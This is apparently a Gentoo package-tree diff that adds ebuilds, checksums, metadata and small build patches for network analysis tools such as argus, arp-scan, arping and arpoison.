+ # racurses uses both libncurses and libtinfo, if present
+ emake \
+ CCOPT="${CFLAGS} ${LDFLAGS}" \
+ RANLIB=$(tc-getRANLIB) \
+ CURSESLIB="$( $(tc-getPKG_CONFIG) --libs ncurses)"
+}
+
+src_install() {
+ dobin bin/ra*
+ dodoc ChangeLog CREDITS README CHANGES
+ doman man/man{1,5}/*
+}
diff --git a/net-analyzer/argus-clients/files/argus-clients-3.0.4.1-disable-tcp-wrappers-automagic.patch b/net-analyzer/argus-clients/files/argus-clients-3.0.4.1-disable-tcp-wrappers-automagic.patch
new file mode 100644
index 000000000000..a08d974ce893
--- /dev/null
+++ b/net-analyzer/argus-clients/files/argus-clients-3.0.4.1-disable-tcp-wrappers-automagic.patch
@@ -0,0 +1,23 @@
+--- configure.ac.org 2011-01-28 18:26:54.000000000 +0100
++++ configure.ac 2011-04-20 00:09:37.000000000 +0200
+@@ -121,6 +121,12 @@
+ esac
+
+ AC_QOSIENT_THREADS(V_THREADS)
++
++AC_ARG_WITH(wrappers,
++ [ --with-wrappers build with libwrappers suuport],
++ with_wrappers="$withval",
++ with_wrappers="yes")
++if test "x$with_wrappers" != "xno"; then
+ AC_QOSIENT_TCPWRAP(V_WRAPDEP, V_INCLS)
+ if test ! -z "$V_WRAPDEP"; then
+ if test -f $V_WRAPDEP; then
+@@ -144,6 +150,7 @@
+ AC_DEFINE([HAVE_TCP_WRAPPER], [], [Using Tcp wrappers])
+ WRAPLIBS="$V_WRAPDEP"
+ fi
++fi
+
+ CURSESLIB=""
+
diff --git a/net-analyzer/argus-clients/files/argus-clients-3.0.7.21-curses-readline.patch b/net-analyzer/argus-clients/files/argus-clients-3.0.7.21-curses-readline.patch
new file mode 100644
index 000000000000..787ff5ac9118
--- /dev/null
+++ b/net-analyzer/argus-clients/files/argus-clients-3.0.7.21-curses-readline.patch
@@ -0,0 +1,21 @@
+--- a/examples/ratop/Makefile.in
++++ b/examples/ratop/Makefile.in
+@@ -54,7 +54,8 @@
+ DEFS = @DEFS@
+ COMPATLIB = @COMPATLIB@ @LIB_SASL@ @LIBS@ @V_THREADS@ @V_GEOIPDEP@ @V_PCRE@ @V_FTDEP@ @ZLIB@
+
+-CURSESLIB = @CURSESLIB@ @V_READLINE@
++CURSESLIB = @CURSESLIB@
++V_READLINE = @V_READLINE@
+
+ # Standard CFLAGS
+ CFLAGS = $(CCOPT) $(INCLS) $(DEFS)
+@@ -93,7 +94,7 @@
+ all: $(PROGS)
+
+ $(INSTALLBIN)/ratop: $(OBJ) $(LIB)
+- $(CC) $(CFLAGS) -o $@ $(OBJ) $(LDFLAGS) $(LIB) $(COMPATLIB) $(CURSESLIB)
++ $(CC) $(CFLAGS) -o $@ $(OBJ) $(LDFLAGS) $(LIB) $(COMPATLIB) $(CURSESLIB) $(V_READLINE)
+
+ CLEANFILES = $(OBJ) $(PROGS)
+
diff --git a/net-analyzer/argus-clients/metadata.xml b/net-analyzer/argus-clients/metadata.xml
new file mode 100644
index 000000000000..ca640803f2e3
--- /dev/null
+++ b/net-analyzer/argus-clients/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use><flag name="ft">Enable support for flow packets through
+<pkg>net-analyzer/flow-tools</pkg></flag></use>
+</pkgmetadata>
diff --git a/net-analyzer/argus/Manifest b/net-analyzer/argus/Manifest
new file mode 100644
index 000000000000..de07ceb29069
--- /dev/null
+++ b/net-analyzer/argus/Manifest
@@ -0,0 +1,2 @@
+DIST argus-3.0.8.1.tar.gz 523375 SHA256 1fb921104c8bd843fb9f5a1c32b57b20bfe8cd8a103b3f1d9bb686b9e6c490a4 SHA512 d96332849df7ce2297aa0d81a9f22c12763d04b2936ffaffc0e4b1942535846cfbc41dadf28791eb88d1ffd0429bdc280d16dff44369c415c713064849b158f7 WHIRLPOOL 2c9495d585c2297b3f9951e74a8fd28840941be6b298c0178d44801242d1abda4bd08f9469e2dd1a4b802735611c9ff82bc028d838628b1ccb184ba80d5dc529
+DIST argus-3.0.8.tar.gz 1193140 SHA256 335d889d288763487ad3545c09b944d7d6aa2538630d1fd72eea3704a57bf6e3 SHA512 e4211bb09f442f4dc5c210b878d0f5a9527ff9c95030570e20520f2ca5c3053cc603aa3f0c4aad33363fee6ce02c3d5262bbfdecd2e2157dc00a34f333f14232 WHIRLPOOL 0a07f7f2e57bf7082af0d1ec203463cf0bedf0b682db89ae484e2162bb79f24b084a7c3d30da447d998885458444bc3799bb401c86e1a2b2dc6a7643127da0c9
diff --git a/net-analyzer/argus/argus-3.0.8.1.ebuild b/net-analyzer/argus/argus-3.0.8.1.ebuild
new file mode 100644
index 000000000000..9a99e1488bbf
--- /dev/null
+++ b/net-analyzer/argus/argus-3.0.8.1.ebuild
@@ -0,0 +1,79 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils user
+
+DESCRIPTION="network Audit Record Generation and Utilization System"
+HOMEPAGE="http://www.qosient.com/argus/"
+SRC_URI="http://qosient.com/argus/src/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86 ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+IUSE="debug sasl tcpd"
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/zlib
+ sasl? ( dev-libs/cyrus-sasl )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+"
+
+DEPEND="
+ ${RDEPEND}
+ >=sys-devel/bison-1.28
+ >=sys-devel/flex-2.4.6
+"
+
+src_prepare() {
+ sed -e 's:/etc/argus.conf:/etc/argus/argus.conf:' \
+ -i argus/argus.c \
+ -i support/Config/argus.conf \
+ -i man/man8/argus.8 \
+ -i man/man5/argus.conf.5 || die
+
+ sed -e 's:#\(ARGUS_SETUSER_ID=\).*:\1argus:' \
+ -e 's:#\(ARGUS_SETGROUP_ID=\).*:\1argus:' \
+ -e 's:\(#ARGUS_CHROOT_DIR=\).*:\1/var/lib/argus:' \
+ -i support/Config/argus.conf || die
+ epatch \
+ "${FILESDIR}"/${PN}-3.0.8.1-disable-tcp-wrappers-automagic.patch \
+ "${FILESDIR}"/${PN}-3.0.5-Makefile.patch \
+ "${FILESDIR}"/${PN}-3.0.7.3-DLT_IPNET.patch
+ eautoreconf
+}
+
+src_configure() {
+ use debug && touch .debug # enable debugging
+ econf $(use_with tcpd wrappers) $(use_with sasl)
+}
+
+src_compile() {
+ emake CCOPT="${CFLAGS} ${LDFLAGS}"
+}
+
+src_install () {
+ doman man/man5/*.5 man/man8/*.8
+
+ dosbin bin/argus{,bug}
+
+ dodoc ChangeLog CREDITS README
+
+ insinto /etc/argus
+ doins support/Config/argus.conf
+
+ newinitd "${FILESDIR}/argus.initd" argus
+ keepdir /var/lib/argus
+}
+
+pkg_preinst() {
+ enewgroup argus
+ enewuser argus -1 -1 /var/lib/argus argus
+}
+
+pkg_postinst() {
+ elog "Note, if you modify ARGUS_DAEMON value in argus.conf it's quite"
+ elog "possible that the init script will fail to work."
+}
diff --git a/net-analyzer/argus/argus-3.0.8.ebuild b/net-analyzer/argus/argus-3.0.8.ebuild
new file mode 100644
index 000000000000..1010dcf1d591
--- /dev/null
+++ b/net-analyzer/argus/argus-3.0.8.ebuild
@@ -0,0 +1,79 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils user
+
+DESCRIPTION="network Audit Record Generation and Utilization System"
+HOMEPAGE="http://www.qosient.com/argus/"
+SRC_URI="http://qosient.com/argus/src/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 ppc x86 ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+IUSE="debug sasl tcpd"
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/zlib
+ sasl? ( dev-libs/cyrus-sasl )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+"
+
+DEPEND="
+ ${RDEPEND}
+ >=sys-devel/bison-1.28
+ >=sys-devel/flex-2.4.6
+"
+
+src_prepare() {
+ sed -e 's:/etc/argus.conf:/etc/argus/argus.conf:' \
+ -i argus/argus.c \
+ -i support/Config/argus.conf \
+ -i man/man8/argus.8 \
+ -i man/man5/argus.conf.5 || die
+
+ sed -e 's:#\(ARGUS_SETUSER_ID=\).*:\1argus:' \
+ -e 's:#\(ARGUS_SETGROUP_ID=\).*:\1argus:' \
+ -e 's:\(#ARGUS_CHROOT_DIR=\).*:\1/var/lib/argus:' \
+ -i support/Config/argus.conf || die
+ epatch \
+ "${FILESDIR}"/${PN}-3.0.4-disable-tcp-wrappers-automagic.patch \
+ "${FILESDIR}"/${PN}-3.0.5-Makefile.patch \
+ "${FILESDIR}"/${PN}-3.0.7.3-DLT_IPNET.patch
+ eautoreconf
+}
+
+src_configure() {
+ use debug && touch .debug # enable debugging
+ econf $(use_with tcpd wrappers) $(use_with sasl)
+}
+
+src_compile() {
+ emake CCOPT="${CFLAGS} ${LDFLAGS}"
+}
+
+src_install () {
+ doman man/man5/*.5 man/man8/*.8
+
+ dosbin bin/argus{,bug}
+
+ dodoc ChangeLog CREDITS README
+
+ insinto /etc/argus
+ doins support/Config/argus.conf
+
+ newinitd "${FILESDIR}/argus.initd" argus
+ keepdir /var/lib/argus
+}
+
+pkg_preinst() {
+ enewgroup argus
+ enewuser argus -1 -1 /var/lib/argus argus
+}
+
+pkg_postinst() {
+ elog "Note, if you modify ARGUS_DAEMON value in argus.conf it's quite"
+ elog "possible that the init script will fail to work."
+}
diff --git a/net-analyzer/argus/files/argus-3.0.4-disable-tcp-wrappers-automagic.patch b/net-analyzer/argus/files/argus-3.0.4-disable-tcp-wrappers-automagic.patch
new file mode 100644
index 000000000000..77bde434282c
--- /dev/null
+++ b/net-analyzer/argus/files/argus-3.0.4-disable-tcp-wrappers-automagic.patch
@@ -0,0 +1,22 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -270,6 +270,11 @@
+ LIBS="$LIBS $V_PCAPDEP"
+ fi
+
++AC_ARG_WITH(wrappers,
++ [ --with-wrappers build with libwrappers suuport],
++ with_wrappers="$withval",
++ with_wrappers="yes")
++if test "x$with_wrappers" != "xno"; then
+ AC_QOSIENT_TCPWRAP(V_WRAPDEP, V_INCLS)
+ if test ! -z "$V_WRAPDEP"; then
+ if test -f $V_WRAPDEP; then
+@@ -293,6 +298,7 @@
+ AC_DEFINE([HAVE_TCP_WRAPPER], [], [Using Tcp wrappers])
+ WRAPLIBS="$V_WRAPDEP"
+ fi
++fi
+
+ AC_CHECK_FUNCS(xdrmem_create)
+ if test "$ac_cv_func_xdrmem_create" = yes; then
diff --git a/net-analyzer/argus/files/argus-3.0.5-Makefile.patch b/net-analyzer/argus/files/argus-3.0.5-Makefile.patch
new file mode 100644
index 000000000000..87b1c155caf8
--- /dev/null
+++ b/net-analyzer/argus/files/argus-3.0.5-Makefile.patch
@@ -0,0 +1,20 @@
+Do not continue when a sub-make errors (bug #380953).
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -55,11 +55,11 @@
+ .PHONY: install installdirs all
+
+ all: force
+- @-for d in $(DIRS);\
++ @for d in $(DIRS);\
+ do \
+- (cd $$d; echo "### Making in" `pwd`;\
+- $(MAKE) $(MFLAGS) ;\
+- echo "### Done with" `pwd`);\
++ echo "### Making in" $$d;\
++ $(MAKE) -C $$d $(MFLAGS) || exit 1;\
++ echo "### Done with" $$d;\
+ done
+
+ install: force
diff --git a/net-analyzer/argus/files/argus-3.0.7.3-DLT_IPNET.patch b/net-analyzer/argus/files/argus-3.0.7.3-DLT_IPNET.patch
new file mode 100644
index 000000000000..f7b4bfa4cc6c
--- /dev/null
+++ b/net-analyzer/argus/files/argus-3.0.7.3-DLT_IPNET.patch
@@ -0,0 +1,17 @@
+In file included from ./ArgusModeler.h:330:0,
+ from ./argus.h:40,
+ from ArgusSource.c:67:
+./ArgusSource.h:893:6: error: ‘ArgusIpNetPacket’ undeclared here (not in a function)
+
+--- a/argus/ArgusSource.h
++++ b/argus/ArgusSource.h
+@@ -889,9 +889,6 @@
+ #ifdef DLT_JUNIPER_ETHER
+ { ArgusJuniperPacket, DLT_JUNIPER_ETHER, "ArgusJuniperPacket()" },
+ #endif
+-#ifdef DLT_IPNET
+- { ArgusIpNetPacket, DLT_IPNET, "ArgusIpNetPacket()" },
+-#endif
+ { NULL, DLT_NULL, "" },
+ #endif
+ { NULL, 0, NULL},
diff --git a/net-analyzer/argus/files/argus-3.0.8.1-disable-tcp-wrappers-automagic.patch b/net-analyzer/argus/files/argus-3.0.8.1-disable-tcp-wrappers-automagic.patch
new file mode 100644
index 000000000000..917f864cf065
--- /dev/null
+++ b/net-analyzer/argus/files/argus-3.0.8.1-disable-tcp-wrappers-automagic.patch
@@ -0,0 +1,22 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -251,6 +251,11 @@
+ AC_QOSIENT_MEMORY
+
+ AC_QOSIENT_THREADS(V_THREADS)
++AC_ARG_WITH(wrappers,
++ [ --with-wrappers build with libwrappers support],
++ with_wrappers="$withval",
++ with_wrappers="yes")
++if test "x$with_wrappers" != "xno"; then
+ AC_QOSIENT_TCPWRAP(V_WRAPDEP, V_INCLS)
+ if test ! -z "$V_WRAPDEP"; then
+ if test -f "$V_WRAPDEP"; then
+@@ -274,6 +279,7 @@
+ AC_DEFINE([HAVE_TCP_WRAPPER], [], [Using Tcp wrappers])
+ WRAPLIBS="$V_WRAPDEP"
+ fi
++fi
+
+ AC_QOSIENT_LIBPCAP(V_PCAPDEP, V_INCLS)
+ if test ! -z "$V_PCAPDEP"; then
diff --git a/net-analyzer/argus/files/argus.initd b/net-analyzer/argus/files/argus.initd
new file mode 100644
index 000000000000..cbc8cfdd112c
--- /dev/null
+++ b/net-analyzer/argus/files/argus.initd
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting argus"
+ start-stop-daemon --start --quiet --exec /usr/sbin/argus -- -d
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping argus"
+ start-stop-daemon --stop --quiet --exec /usr/sbin/argus
+ eend $?
+}
diff --git a/net-analyzer/argus/metadata.xml b/net-analyzer/argus/metadata.xml
new file mode 100644
index 000000000000..a688da311250
--- /dev/null
+++ b/net-analyzer/argus/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>network Audit Record Generation and Utilization System</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/arp-scan/Manifest b/net-analyzer/arp-scan/Manifest
new file mode 100644
index 000000000000..a3c7bdb510cd
--- /dev/null
+++ b/net-analyzer/arp-scan/Manifest
@@ -0,0 +1 @@
+DIST arp-scan-1.9.tar.gz 488442 SHA256 ce908ac71c48e85dddf6dd4fe5151d13c7528b1f49717a98b2a2535bd797d892 SHA512 5061ac82d1acad3dd5dab998e4e2d2d9d2dbf436a2839ee1f68dd2997278df7e77f5dda7e54bdb13c9200d7a714b8d82737c041cec8438571d1d14c9d7f936ac WHIRLPOOL b23e193c6335c32a64363e3f0e66f6c7c39efdc292e02efdccf36452b48feb878486c5dfde4b8977e6fde6669aeeefad1931c1ea35e4a6a75b69817682b1d73a
diff --git a/net-analyzer/arp-scan/arp-scan-1.9.ebuild b/net-analyzer/arp-scan/arp-scan-1.9.ebuild
new file mode 100644
index 000000000000..e029a42ef278
--- /dev/null
+++ b/net-analyzer/arp-scan/arp-scan-1.9.ebuild
@@ -0,0 +1,19 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="ARP scanning and fingerprinting tool"
+HOMEPAGE="http://www.nta-monitor.com/tools-resources/security-tools/arp-scan"
+SRC_URI="http://www.nta-monitor.com/files/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="
+ ${DEPEND}
+ dev-lang/perl
+"
diff --git a/net-analyzer/arp-scan/metadata.xml b/net-analyzer/arp-scan/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/arp-scan/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/arp-sk/Manifest b/net-analyzer/arp-sk/Manifest
new file mode 100644
index 000000000000..b244641df50a
--- /dev/null
+++ b/net-analyzer/arp-sk/Manifest
@@ -0,0 +1 @@
+DIST arp-sk-0.0.16.tgz 211636 SHA256 6e1c98ff5396dd2d1c95a0d8f08f85e51cf05b1ed85ea7b5bcf73c4ca5d301dd SHA512 d827ab5c701e1e3a6444dbe7e1e7c0a73ee2bfb2339a55fc7d3591ee8e9e9aadef4dfd4aaf331251fbe22d83c9b1135068e5afa6303eae934b3fd149ca0819a6 WHIRLPOOL 66e774c1c47c912132559067c5991c16bec4738b39d474a7a7b3d0011c4b17b1c09d4073843fd705b87cd30036c6a2cf9566c384a03a0dc177925d4293db938a
diff --git a/net-analyzer/arp-sk/arp-sk-0.0.16-r2.ebuild b/net-analyzer/arp-sk/arp-sk-0.0.16-r2.ebuild
new file mode 100644
index 000000000000..0a795a42185b
--- /dev/null
+++ b/net-analyzer/arp-sk/arp-sk-0.0.16-r2.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils multilib
+
+DESCRIPTION="A swiss knife tool for ARP"
+HOMEPAGE="http://sid.rstack.org/arp-sk/"
+SRC_URI="http://sid.rstack.org/arp-sk/files/${P}.tgz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+DEPEND=">=net-libs/libnet-1.1"
+RDEPEND="${DEPEND}"
+
+DOCS=( ARP AUTHORS CONTRIB ChangeLog README TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-libnet1_2.patch
+ sed -i configure.in -e 's|AM_CONFIG_HEADER|AC_CONFIG_HEADERS|g' || die
+ rm missing || die
+ epatch_user
+
+ eautoreconf
+}
+
+src_install() {
+ default
+
+ # We don't need libcompat as it has a potential to clash with other packages.
+ rm -fr "${D}"/usr/$(get_libdir)
+}
diff --git a/net-analyzer/arp-sk/files/arp-sk-0.0.16-libnet1_2.patch b/net-analyzer/arp-sk/files/arp-sk-0.0.16-libnet1_2.patch
new file mode 100644
index 000000000000..1fac654c0d86
--- /dev/null
+++ b/net-analyzer/arp-sk/files/arp-sk-0.0.16-libnet1_2.patch
@@ -0,0 +1,50 @@
+--- a/configure.in
++++ b/configure.in
+@@ -114,47 +114,6 @@
+ AC_MSG_RESULT(yes) ]
+ )
+
+-dnl Now let's checck the version of libnet (1.1.x requirerd)
+-AC_MSG_CHECKING(for version 1.1.x of libnet)
+-AC_TRY_RUN([
+-#include "$NETINC/libnet.h"
+-#include <string.h>
+-int main()
+-{
+- return (strncmp(LIBNET_VERSION, "1.1.", 4));
+-}
+-],
+-[ AC_MSG_RESULT(yes)],
+-[ AC_MSG_RESULT(no)
+- AC_MSG_ERROR(Bad libnet version found in $NETINC/libnet.h:
+-download libnet-1.1.x from http://www.packetfactory.net/projects/libnet/.
+-If you think this version of libnet is already installed on your system
+-tell arp-sk where it is using --with-libnet=DIR)
+-]
+-dnl ,
+-dnl [ v=(`sed -n /LIBNET_VERSION/p /usr/local/include/libnet.h | sed s/\"//g |awk '{print $3}'`)
+-dnl echo "v=$v"
+-dnl save_IFS="${IFS}"
+-dnl IFS=.
+-dnl vatb=(${v[0]})
+-dnl IFS=$save_IFS
+-dnl LIBNET_MAJOR=${vtab[0]}
+-dnl LIBNET_MINOR=${vtab[1]}
+-
+-dnl if [ $LIBNET_MAJOR==1 -a $LIBNET_MINOR==1 ]; then
+-dnl AC_MSG_RESULT(yes);
+-dnl else
+-dnl AC_MSG_RESULT(no)
+-dnl AC_MSG_ERROR(Bad libnet version:
+-
+-dnl $NETINC/libnet.h
+-
+-dnl download libnet-1.1.x from http://www.packetfactory.net/projects/libnet/.
+-dnl If you think this version of libnet id already installed on your system,
+-dnl tell arp-sk where it is using --with-libnet=DIR)
+-dnl fi
+-dnl ]
+-)
+
+
+ NETINC="-I$NETINC"
diff --git a/net-analyzer/arp-sk/metadata.xml b/net-analyzer/arp-sk/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/arp-sk/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/arping/Manifest b/net-analyzer/arping/Manifest
new file mode 100644
index 000000000000..aaf05e8be906
--- /dev/null
+++ b/net-analyzer/arping/Manifest
@@ -0,0 +1 @@
+DIST arping-2.15.tar.gz 149061 SHA256 9d45dae3a88749092cef1dd7f5cbb4d3b7be8715a938384ef3139790884251f3 SHA512 89fb5ef1d7663d3577094e250751675ed9bc54fe95fa96d85138a2cf31f422c9b829c90902877bd6dd3f1102194ce0b53af9ef483fbb7e33ce2ae81283b5d52b WHIRLPOOL 2dd43c644f57182c8372c2bc14820352db72309eab594b2797e123af20e3f8af7a6016c22e5b014f93102b689bb7e60ace349f2b14d9ff00d5de944c6e2e4d6f
diff --git a/net-analyzer/arping/arping-2.15-r2.ebuild b/net-analyzer/arping/arping-2.15-r2.ebuild
new file mode 100644
index 000000000000..93b1d790862a
--- /dev/null
+++ b/net-analyzer/arping/arping-2.15-r2.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A utility to see if a specific IP address is taken and what MAC address owns it"
+HOMEPAGE="http://www.habets.pp.se/synscan/programs.php?prog=arping"
+SRC_URI="http://www.habets.pp.se/synscan/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~x86-linux ~x86-macos"
+
+DEPEND="
+ net-libs/libpcap
+ net-libs/libnet:1.1
+"
+RDEPEND="${DEPEND}
+ !net-misc/iputils[arping(+)]"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.15-setgroups.patch
+
+ eautoreconf
+}
diff --git a/net-analyzer/arping/arping-2.15.ebuild b/net-analyzer/arping/arping-2.15.ebuild
new file mode 100644
index 000000000000..c2cdc98995dc
--- /dev/null
+++ b/net-analyzer/arping/arping-2.15.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="A utility to see if a specific IP address is taken and what MAC address owns it"
+HOMEPAGE="http://www.habets.pp.se/synscan/programs.php?prog=arping"
+SRC_URI="http://www.habets.pp.se/synscan/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="2"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~x86-fbsd ~amd64-linux ~x86-linux ~x86-macos"
+
+DEPEND="
+ net-libs/libpcap
+ net-libs/libnet:1.1
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ rm -f Makefile
+
+ # since we install as arping2, use arping2 in documentation
+ sed -i \
+ -e "s|\(${PN}\)|\12|g" \
+ -e "s|\(${PN}\)\(\W\)|\12\2|g" \
+ -e "s|${PN}2-|${PN}-|g" \
+ -e "s|(${PN}2 2.*\.x only)||g" \
+ doc/${PN}.8 || die
+ sed -i \
+ -e "s|\(${PN}\) |\12 |g" \
+ extra/${PN}-scan-net.sh || die
+}
+
+src_install() {
+ # since we install as arping2, we cannot use emake install
+ newsbin src/${PN} ${PN}2
+ newman doc/${PN}.8 ${PN}2.8
+ dodoc README extra/arping-scan-net.sh
+}
diff --git a/net-analyzer/arping/files/arping-2.15-setgroups.patch b/net-analyzer/arping/files/arping-2.15-setgroups.patch
new file mode 100644
index 000000000000..59b675814814
--- /dev/null
+++ b/net-analyzer/arping/files/arping-2.15-setgroups.patch
@@ -0,0 +1,23 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -35,6 +35,7 @@
+ stdlib.h \
+ sys/socket.h \
+ time.h \
++grp.h \
+ sys/time.h \
+ sys/types.h \
+ sys/capability.h \
+--- a/src/arping.c
++++ b/src/arping.c
+@@ -98,6 +98,10 @@
+ #endif
+ #include <pcap.h>
+
++#if HAVE_GRP_H
++#include <grp.h>
++#endif
++
+ #include "arping.h"
+
+ #ifndef ETH_ALEN
diff --git a/net-analyzer/arping/metadata.xml b/net-analyzer/arping/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/arping/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/arpoison/Manifest b/net-analyzer/arpoison/Manifest
new file mode 100644
index 000000000000..46a8dadb3826
--- /dev/null
+++ b/net-analyzer/arpoison/Manifest
@@ -0,0 +1 @@
+DIST arpoison-0.6.tar.gz 8646 SHA256 2922a7f98901a2eb3b26822e576ef22a64d3585fb69c4c3c4c32c2ca3993e537 SHA512 7c14a15b9b85f777e5151fae82dfbdb44dbfc85ce8f632b7d76727bce79ed7f958f725f39348489bc4659cb5e3b7ab5370e88e33c03277e16ab2f9ff00bb4038 WHIRLPOOL 17fb536d184c60a31d5f07c91da5232763a02c953ea821938f72293500f7f3adae43c1a2e58685852cd3f27803991f31447bce03a1ad71f89b026bae22164bd4
diff --git a/net-analyzer/arpoison/arpoison-0.6-r2.ebuild b/net-analyzer/arpoison/arpoison-0.6-r2.ebuild
new file mode 100644
index 000000000000..76c4dcaf915c
--- /dev/null
+++ b/net-analyzer/arpoison/arpoison-0.6-r2.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit toolchain-funcs
+
+DESCRIPTION="A utility to poison ARP caches"
+HOMEPAGE="http://arpoison.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc x86"
+
+RDEPEND="net-libs/libnet:1.1"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${PN}"
+
+src_prepare() {
+ # respect CFLAGS, LDFLAGS and compiler, bug #337896
+ # fix for crosscompilation, bug #375655
+ sed -i Makefile \
+ -e 's|gcc \(-Wall\)|$(CC) \1 $(CFLAGS) $(LDFLAGS)|' \
+ -e "s|libnet-config|${ROOT}usr/bin/libnet-config|g" \
+ || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ dosbin arpoison
+ doman arpoison.8
+ dodoc README TODO
+}
diff --git a/net-analyzer/arpoison/metadata.xml b/net-analyzer/arpoison/metadata.xml
new file mode 100644
index 000000000000..0ed24829a4e7
--- /dev/null
+++ b/net-analyzer/arpoison/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">arpoison</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/arpon/Manifest b/net-analyzer/arpon/Manifest
new file mode 100644
index 000000000000..304f62ce42da
--- /dev/null
+++ b/net-analyzer/arpon/Manifest
@@ -0,0 +1,2 @@
+DIST ArpON-2.7.2.tar.gz 2780607 SHA256 99adf83e4cdf2eda01601a60e2e1a611b5bce73865745fe67774c525c5f7d6d0 SHA512 7518f8f8920817725c9b3e0a6420190dcc101b1c0c7cd9eec50870b3f893fe2322eddc90cb71e9c3c35326b4e1730aa02797ca51775caa9401807da3978628b4 WHIRLPOOL a164419425ad55d35ebb2bea17cedb4d834b99a17deb0c5a46d39b047cc937113359c39c5b6e1d156daecf3490a9dbf29eeff06c22c4dd2020ffcac00552cc00
